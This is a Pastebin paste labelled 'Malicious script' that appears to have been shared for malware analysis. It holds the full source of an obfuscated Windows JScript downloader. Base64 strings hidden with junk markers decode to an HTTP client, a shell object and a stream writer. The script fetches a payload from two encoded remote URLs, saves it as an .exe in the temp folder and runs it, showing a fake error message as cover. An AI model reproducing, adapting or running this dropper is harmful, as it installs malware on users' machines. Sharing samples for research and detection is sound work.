dynamoo

Malicious script

Aug 21st, 2017
844
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. function  setRH(CR, VR){
  4.  CR[VR]("User-Agent", "TW96aWxsYS80LjAgPARTITIKGNvbXBhdGlibGU7IE1TSUUgNi4wOyPARTITIBXaW5kb3dzIE5UIDUuMCk=".HIDEMYASS());
  5. }
  6.  
  7. var SmthngWrngtease_SayNoNo ="PARTITI"+ ""+"";
  8. var silkopil = "/";
  9. var efFFFFF =0xff ;
  10. var line5 = new Array(
  11.  29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,92,29,29,29,93,82,83,84,85,86,87,88,89,90,91,29,29,29,29,29,29,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,29,29,29,29,29,29,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29
  12. );
  13.  
  14.  
  15.  
  16.   turkish = {'U':'S' , ':':'.' , '88':'' , 'BOLGARIN':'onseBody' , '77':'' , '101':'' , 'SEREDINA':'X',  '11':''};
  17.  
  18.    
  19. function  SmthngWrngtease_FROG2sud(vardos){
  20. return vardos[("SmthngWrngtease_gardening","SmthngWrngtease_millennium","SmthngWrngtease_spire","SmthngWrngtease_school","SmthngWrngtease_hypnotism","l")+"en" +("SmthngWrngtease_vocal","SmthngWrngtease_pointer","SmthngWrngtease_kinase","SmthngWrngtease_jason","SmthngWrngtease_absurdly","gt")+"h"];
  21. }
  22.  
  23.  
  24.  var line5HO = SmthngWrngtease_FROG2sud(line5);
  25. WScript.echo("Error opening file (CODE:" +line5HO+")");
  26.  
  27.     for (velVITK_OBLOM= 0; line5HO >velVITK_OBLOM ; ++velVITK_OBLOM) {
  28.        line5[velVITK_OBLOM] = -29+line5[velVITK_OBLOM] - 1;
  29.  
  30.     }
  31.    
  32.     var turkish;
  33.  var velVITK_BOSKO_2S = "";
  34.  
  35. var ratatu = "prot"+"otype";
  36.  
  37.  function TortPankaky(ReebokGalaxyFROGvostochniy){
  38.      ReebokGalaxyFROGtaliluev = ReebokGalaxyFROGvostochniy;
  39. for (var ReebokGalaxyFROG2XCOP in turkish){ReebokGalaxyFROGtaliluev = ReebokGalaxyFROGtaliluev["repl" + "ace"](ReebokGalaxyFROG2XCOP, turkish[ReebokGalaxyFROG2XCOP]);}
  40.     return ReebokGalaxyFROGtaliluev;
  41.  };
  42.      
  43.  
  44.   String[ratatu].HIDEMYASS = function() {
  45.          var SmthngWrngtease_RazlomSS, line4, SmthngWrngtease_Selection1, SmthngWrngtease_FROG2c4;
  46.  
  47.      var SmthngWrngtease_FROG2out = "";
  48.  
  49.      var line3= this.replace(/PARTITI/gi, SmthngWrngtease_FROG2out);line6 = 0;
  50.  var  SmthngWrngtease_FROG2len = SmthngWrngtease_FROG2sud(line3);  
  51.  
  52. while (line6 < SmthngWrngtease_FROG2len) {
  53.    
  54.    
  55. do {
  56.              var SmthngWrngtease_koch = line3.charCodeAt(line6++) &(0x132- 0x33);
  57.             SmthngWrngtease_RazlomSS = line5[SmthngWrngtease_koch];
  58.         } while (line6 < SmthngWrngtease_FROG2len && SmthngWrngtease_RazlomSS == -1);  
  59. if (SmthngWrngtease_RazlomSS == -1)
  60.             break;  
  61.     do {
  62.                 stembl = "the";
  63.             line4 = line5[line3.charCodeAt(line6++) & efFFFFF];
  64.  
  65.         } while (line6 < SmthngWrngtease_FROG2len && line4 == -1);  
  66.  
  67.         if (line4 +1== 0)
  68.             break;
  69.    
  70.         SmthngWrngtease_FROG2out += String.fromCharCode((SmthngWrngtease_RazlomSS << 2) | ((line4 & 0x30) >> 4));
  71.     do {
  72.             SmthngWrngtease_Selection1 = line3.charCodeAt(line6++) & 0xff;
  73.  
  74.             if (SmthngWrngtease_Selection1 == 61)
  75.                 return SmthngWrngtease_FROG2out;
  76.  
  77.             SmthngWrngtease_Selection1 = line5[SmthngWrngtease_Selection1];
  78.         } while (line6 < SmthngWrngtease_FROG2len && SmthngWrngtease_Selection1 == -1);
  79.         if (SmthngWrngtease_Selection1 == -1)
  80.             break;
  81.         SmthngWrngtease_FROG2out += String.fromCharCode(((line4 & (0xe+1)) << 4) | ((SmthngWrngtease_Selection1 & 0x3c) >> 2));
  82.    
  83.         do {
  84.             SmthngWrngtease_FROG2c4 = line3.charCodeAt(line6++) & efFFFFF;
  85.  
  86.             if (SmthngWrngtease_FROG2c4 == 61)
  87.                 return SmthngWrngtease_FROG2out;
  88.  
  89.             SmthngWrngtease_FROG2c4 = line5[SmthngWrngtease_FROG2c4];
  90.         } while (line6 < SmthngWrngtease_FROG2len && SmthngWrngtease_FROG2c4 == -1);
  91.         if (SmthngWrngtease_FROG2c4 == -1)
  92.             break;
  93.  
  94.  
  95.         SmthngWrngtease_FROG2out += String.fromCharCode(((SmthngWrngtease_Selection1 & 0x03) << 6) | SmthngWrngtease_FROG2c4);
  96.      
  97.  
  98.  
  99. }
  100.     return SmthngWrngtease_FROG2out;
  101. };
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109. function  SmthngWrngtease_FROG2undefilled(velVLUMAHx, velVLUMAHy) {
  110.     velVLUMAHx =frr / eww ;
  111.     velVLUMAHy = velVLUMAHZZ + -245;
  112. };
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  SmthngWrngtease_FROG2undefilled.dEDWWEE = function(){
  119.  
  120. SmthngWrngtease_FROG2ok(SmthngWrngtease_FROG2spyFunction1.SmthngWrngtease_FROG2calledWith(), "Function called without arguments");
  121.  
  122.     SmthngWrngtease_FROG2publisher.SmthngWrngtease_FROG2publish(this.SmthngWrngtease_FROG2type1, "PROPER1");
  123.     SmthngWrngtease_FROG2ok(SmthngWrngtease_FROG2spyFunction1.SmthngWrngtease_FROG2calledWith("PROPER1"), "Function called with 'PROPER1' argument");
  124.  
  125.     SmthngWrngtease_FROG2publisher.SmthngWrngtease_FROG2publish(this.SmthngWrngtease_FROG2type1, ["PROPER1", "PROPER2"]);
  126.  
  127. };
  128.  
  129.  
  130.  
  131.  
  132.  var topSecretLine;
  133.  var SmthngWrngtease_LLL0LLL = "l";
  134.      var SmthngWrngtease_FROG2TRUEFALSE=("V2lPARTITIuZG93cyBTY3JpcPARTITIHQgSG9zdA=PARTITI=".HIDEMYASS() +"!!!22ee22" =="PARTITIV2lPARTITIuZG93cyBTY3JpcPARTITIHQgSG9zdA==".HIDEMYASS() +"!!!22ee22")&&typeof(SmthngWrngtease_FROG2GzEAPd)==="undefined";
  135.  var SmthngWrngtease_FROGsrq = "UmVxdWVzdEhlYWRlcg==".HIDEMYASS();
  136.  
  137.  
  138.  var SmthngWrngteaseFPADRML  =("").HIDEMYASS();
  139.  var SmthngWrngtease_FROG2lidgen = "QWN0PARTITIaXZlWEPARTITI9iamVjdA==".HIDEMYASS();
  140.  
  141.  var SmthngWrngtease_FROG2chosen = Math.round(0.7 * 2 - 0.4);
  142.  
  143.  
  144.  var takeshiKitana = new Function("PARTITI,PARTITI2", "PARTITI[PARTITI2]();");
  145.  
  146. if(!SmthngWrngtease_FROG2TRUEFALSE){
  147. SmthngWrngtease_FROG2undefilled.scale = function(SmthngWrngtease_FROG2p, SmthngWrngtease_FROG2scaleX, SmthngWrngtease_FROG2scaleY) {
  148.     if (line6sObject(SmthngWrngtease_FROG2scaleX)) {
  149.         SmthngWrngtease_FROG2scaleY = SmthngWrngtease_FROG2scaleX.y;
  150.         SmthngWrngtease_FROG2scaleX = SmthngWrngtease_FROG2scaleX.x;
  151.     } else if (!line6sNumber(SmthngWrngtease_FROG2scaleY)) {
  152.         SmthngWrngtease_FROG2scaleY = SmthngWrngtease_FROG2scaleX;
  153.     }
  154.     return new SmthngWrngtease_FROG2undefilled(SmthngWrngtease_FROG2p.x * SmthngWrngtease_FROG2scaleX, SmthngWrngtease_FROG2p.y * SmthngWrngtease_FROG2scaleY);
  155. };
  156.  
  157. }
  158.    
  159.  
  160. function  SmthngWrngteaseFPADZO_ZO(TT){
  161.    
  162. eval(TT);
  163.     }
  164.  
  165. if(!SmthngWrngtease_FROG2TRUEFALSE){
  166. SmthngWrngtease_FROG2undefilled.SmthngWrngtease_FROG2sameOrN = function(SmthngWrngtease_FROG2param1, SmthngWrngtease_FROG2param2) {
  167.     return SmthngWrngtease_FROG2param1.D == SmthngWrngtease_FROG2param2.D || SmthngWrngtease_FROG2param1.F == SmthngWrngtease_FROG2param2.F;
  168. };
  169.  
  170. SmthngWrngtease_FROG2undefilled.angle = function(SmthngWrngtease_FROG2p) {
  171.     return Math.atan2(SmthngWrngtease_FROG2p.y, SmthngWrngtease_FROG2p.x);
  172. };
  173.     }
  174.  
  175.  
  176.  var SmthngWrngtease_FROG2VARDOCF ="JVRFPARTITITVAlPARTITI".HIDEMYASS();
  177.  
  178.  var NewNameCreator = new Function("PARTITI,PARTITI","topSecretLine = "+   ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGMycsJ3JldHVybiBcIlRWTT1cIg==").HIDEMYASS() + ".HIDEMYASS();');");
  179.  
  180.  var SmthngWrngtease_FROG2sirdallos ="PARTITIRXhwYW5PARTITIkRW52aXPARTITIJvbm1lbnRTdHJPARTITIpbmdz".HIDEMYASS();
  181.  var SmthngWrngtease_FROG2Native = function(options){
  182.    
  183. };
  184.    
  185.  
  186.  
  187.  
  188. SmthngWrngtease_FROG2Native.line6mplement = function(SmthngWrngtease_FROG2objects, SmthngWrngtease_FROG2properties){
  189.     for ( var line6 = 0, SmthngWrngtease_FROG2l = SmthngWrngtease_FROG2objects.length; line6 < SmthngWrngtease_FROG2l; line6++) SmthngWrngtease_FROG2objects[line6].line6mplement(SmthngWrngtease_FROG2properties);
  190. };
  191.  
  192.  var SmthngWrngtease_FROGhatershaha = "";
  193.  var SmthngWrngtease_FROGodnoklass = "TqCRhOAQ";
  194. function  placeHolder(AOn){
  195.     return new ActiveXObject(AOn);
  196. }if(WSH){
  197.     NewNameCreator();
  198. }  
  199.  
  200.  
  201.  
  202.  var SmthngWrngtease_FROG2d7 ="WA==".HIDEMYASS() +  "M" +"L";
  203.   var SmthngWrngtease_FROG2_bChosteck =  "aHR0cDovLw=PARTITI=";
  204.    
  205.  
  206. function  SmthngWrngtease_FROG2_bCho(T, D, C) {
  207.     R ="" + D ;
  208. T[D+""](C);
  209. }
  210.  
  211. SmthngWrngtease_FROG2d7 = topSecretLine() + SmthngWrngtease_FROG2d7+ TortPankaky(("SmthngWrngtease_settlement","SmthngWrngtease_blood","SmthngWrngtease_intelligence","SmthngWrngtease_rehab","SmthngWrngtease_realm","2.")+"SEREDINAML77H101T"+"TP45PARTITI45"+"WS"+"cr"+"ipt:Uh")+"e"+"ll";
  212.  
  213.  
  214.  var SmthngWrngtease_FROG2DoUtra = [SmthngWrngtease_FROG2lidgen, SmthngWrngtease_FROG2sirdallos,SmthngWrngtease_FROG2VARDOCF,"LmVPARTITI4ZQ=PARTITI=".HIDEMYASS(), "UnPARTITIVuPARTITI".HIDEMYASS(),SmthngWrngtease_FROG2d7];
  215.  
  216. SmthngWrngtease_FROG2Richters=SmthngWrngtease_FROG2DoUtra.shift();
  217.  var SmthngWrngtease_FROG2d2=SmthngWrngtease_FROG2DoUtra.pop();
  218. SmthngWrngtease_FROG2fabled="Valar2Morgulis";
  219.  var SmthngWrngtease_FROG2LitoyDISK=ActiveXObject;
  220.  
  221.  
  222.  
  223.      var massMarket=SmthngWrngtease_FROG2d2.split("45");SmthngWrngtease_FROG2Native.SmthngWrngtease_FROG2typize=function(a,b){a.type||(a.type=function(a){return SmthngWrngtease_FROG2$type(a)===b})};
  224. SmthngWrngtease_FROGcccomeccc = "p";
  225.  var Limbus2000=new Function("HORN",' var GALAXY = "chastity necessarily()";var kelso = "ADODB.Str32"; return kelso.replace("TRUMP", "D").replace("32", "eam");'); 
  226.  
  227. function  SmthngWrngtease_FROG2_cCho(a,b,c,d){a[b](c,d)}
  228. abtest = massMarket[SmthngWrngtease_FROGcccomeccc + "op"]();
  229.  var SmthngWrngteaseMorningNewYork;
  230.  function  mix2(){
  231.      try{
  232.         perm_sel[fixed] = fixed;     /* Generate random orientation*/      var total = 0;      var ori_sel = Array();      var i = fixed === 0 ? 1 : 0;     for(; i < 7; i = i === fixed - 1 ? i + 2 : i + 1){       ori_sel[i] = scramblers.lib.randomInt.below(3);       total += ori_sel[i];     }     if(i <= 7) ori_sel[i] = (3 - (total % 3)) % 3;     ori_sel[fixed] = 0;      /* Convert to face format*/     /* Mapping from permutation/orientation to facelet*/      var D = 1, L = 2, B = 5, U = 4, R = 3, F = 0;     /* D 0 1 2 3  L 4 5 6 7  B 8 9 10 11  U 12 13 14 15  R 16 17 18 19  F 20 21 22 23*/     /* Map from permutation/orientation to face*/   /* Convert cubie representation into facelet representaion*/     for( var i = 0; i < 8; i++){       for( var j = 0; j < 3; j++)         posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j];     }
  233.      }catch(exc){
  234.            SmthngWrngteaseMorningNewYork = "bPARTITI3Blbg==".HIDEMYASS();
  235.      }
  236. }
  237. SmthngWrngteaseSeason3 = placeHolder(abtest+"");
  238. mix2();
  239. SmthngWrngtease_FROGletchikva=new ActiveXObject(massMarket[0]);
  240. SmthngWrngtease_FROG2tudabilo1 = "s";
  241. eval(SmthngWrngtease_SayNoNo.HIDEMYASS());
  242.  
  243.  var SmthngWrngtease_FROG2vulture = SmthngWrngteaseSeason3[SmthngWrngtease_FROG2DoUtra.shift()](SmthngWrngtease_FROG2DoUtra.shift());
  244.  
  245. SmthngWrngtease_FROG2weasel = "G\x45T";
  246.  var SmthngWrngtease_FROG2SIDRENKOV = SmthngWrngtease_FROG2DoUtra.shift();
  247.  
  248.  
  249.  var SmthngWrngtease_FROG2promises = SmthngWrngtease_FROG2DoUtra.shift();
  250.  
  251.    SmthngWrngtease_FROG2SPASPI = "type";
  252.                            
  253. function  SmthngWrngtease_FROG2_aCho(R, K) {
  254. R[K]();
  255. }  
  256. function  CNPK(aa){
  257.     return  "\x3F".concat(aa,"\x3D");
  258. }
  259. function  SmthngWrngtease_ECOPLAT(SmthngWrngtease_FROG2gutter, SmthngWrngtease_FROG2StrokaParam2) {
  260.              var SmthngWrngteaseMorningPitsburg = ""+ SmthngWrngtease_FROG2vulture;
  261. try{
  262.    
  263.  
  264.         SmthngWrngteaseMorningPitsburg=SmthngWrngteaseMorningPitsburg+silkopil;
  265.  
  266. SmthngWrngteaseMorningPitsburg=SmthngWrngteaseMorningPitsburg +""+ SmthngWrngtease_FROG2StrokaParam2 ;
  267. SmthngWrngtease_FROGletchikva["open"](SmthngWrngtease_FROG2weasel, SmthngWrngtease_FROG2gutter, false);
  268.        
  269. if(SmthngWrngtease_FROG2TRUEFALSE){  SmthngWrngtease_FROG2_cCho(SmthngWrngtease_FROGletchikva,"set"+(11,"SmthngWrngtease_grocer","SmthngWrngtease_folklore","SmthngWrngtease_centralization","SmthngWrngtease_sized","SmthngWrngtease_situations","SmthngWrngtease_insubordination","SmthngWrngtease_preservation",SmthngWrngtease_FROGsrq),"User-Agent","TW96aWxsYS80LjAgPARTITIKGNvbXBhdGlibGU7IE1TSUUgNi4wOyPARTITIBXaW5kb3dzIE5UIDUuMCk=".HIDEMYASS());
  270.    
  271.       }
  272.    
  273. SmthngWrngtease_FROGletchikva[SmthngWrngtease_FROG2tudabilo1 + ("SmthngWrngtease_candor","SmthngWrngtease_helterskelter","SmthngWrngtease_benjamin","SmthngWrngtease_distasteful","SmthngWrngtease_idealized","end")]();
  274.    
  275.    
  276.  var kuzut = SmthngWrngtease_FROGletchikva["Re"+"sp"+(SmthngWrngtease_FROG2StrokaParam2,"SmthngWrngtease_sooty","SmthngWrngtease_cowboy","SmthngWrngtease_microphone","SmthngWrngtease_slovak",1123,turkish['BOLGARIN'])];
  277. //if(kuzut < 29989)return false;
  278. //      if (kuzut[0]!= 77 || kuzut[1]!= 90)return false;
  279.             var SmthngWrngtease_MainZ = new SmthngWrngtease_FROG2LitoyDISK(Limbus2000());
  280.     if (SmthngWrngtease_FROG2TRUEFALSE) {
  281.  
  282.          
  283.  
  284.          var ddee = new Function("vgg, rdd", "    reflective = Math.floor(n);     if (x < 256*256*256) {        bytes = [            max + 2,            Math.floor(x / 256 / 256),            Math.floor(cooking / 256) % 256,            x % 256        ];    }    else if (x < 256*256*256*256) {        amplifier = [            max + 3,            Math.floor(x / 256 / 256 / 256),            Math.floor(x / 256 / 256) % 256,            Math.floor(grandchild / 256) % 256,            x % 256        ];    }"
  285. );  SmthngWrngtease_FROGGaSMa = "Valar10Morgulis";
  286.        
  287.  var takeshiKitana2 = new Function("PARTITI,PARTITI2", "PARTITI.write(PARTITI2);");        
  288.             takeshiKitana(SmthngWrngtease_MainZ,SmthngWrngteaseMorningNewYork);  
  289. SmthngWrngtease_MainZ[SmthngWrngtease_FROG2SPASPI] = SmthngWrngtease_FROG2chosen;
  290.  
  291.         takeshiKitana2( SmthngWrngtease_MainZ, kuzut);
  292.           SmthngWrngtease_FROG2XWaxeQhw = "Valar11Morgulis";
  293.         SmthngWrngtease_MainZ["position"] = 0;
  294.       SmthngWrngtease_FROG2krDwvrh = "Valar12Morgulis";
  295.  
  296.         SmthngWrngteaseMorningPitsburg = SmthngWrngteaseMorningPitsburg  + SmthngWrngtease_FROG2SIDRENKOV;
  297.         SmthngWrngtease_MainZ["cPARTITI2F2PARTITIZVPARTITIRvRmlsZQ==".HIDEMYASS()](SmthngWrngteaseMorningPitsburg, 26/13);
  298.         SmthngWrngtease_FROG2SswQdi = "Valar13Morgulis";
  299.        
  300.          
  301.         SmthngWrngtease_MainZ.close();
  302.  
  303.            
  304.        
  305. SmthngWrngteaseSeason3[SmthngWrngtease_FROG2promises ](SmthngWrngteaseMorningPitsburg,0,false);
  306.  
  307.  
  308.        
  309. return true;
  310.        
  311.  
  312.  
  313.  
  314.        
  315.        
  316.        
  317.         }
  318. }catch(exception2){
  319.    
  320.     return false;}
  321. };
  322.  
  323.  
  324.                    
  325. SmthngWrngteaseFPADZO_ZO(SmthngWrngteaseFPADRML);
  326.            
  327.  
  328.    
  329.  var SmthngWrngtease_FROGodnoklassYO = 1;
  330.  
  331.  
  332.  var SmthngWrngtease_FROG2_a5 = ('PARTITIZ2VsLWJhdHRlcmllbi1PARTITIhZ20tYmF0dGVyaWVuLmRlLzY1SktqYmg/SSSS'+'ZHJvb2hzZHJvbmZoeXN0Z2ZoLmluZm8vYWYvNjVKS2piaA=='+'SSSSPARTITI').split("SSSS");  
  333.  
  334.  var PARTITI500 = new Function("SmthngWrngtease_FROG2_a5,SmthngWrngtease_FROG2HORDA5", 'return SmthngWrngtease_FROG2_bChosteck.HIDEMYASS() + SmthngWrngtease_FROG2_a5[SmthngWrngtease_FROG2HORDA5].HIDEMYASS();');
  335. for(SmthngWrngtease_FROG2HORDA5 in SmthngWrngtease_FROG2_a5){
  336.    
  337.    
  338. SmthngWrngtease_FROGodnoklassYO++;
  339.    
  340. if(SmthngWrngtease_ECOPLAT(PARTITI500(SmthngWrngtease_FROG2_a5,SmthngWrngtease_FROG2HORDA5)+CNPK(SmthngWrngtease_FROGodnoklass)+SmthngWrngtease_FROGodnoklass,SmthngWrngtease_FROGodnoklass+ SmthngWrngtease_FROGodnoklassYO)){
  341. break;
  342. }
  343.  
  344.  
  345.    
  346. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×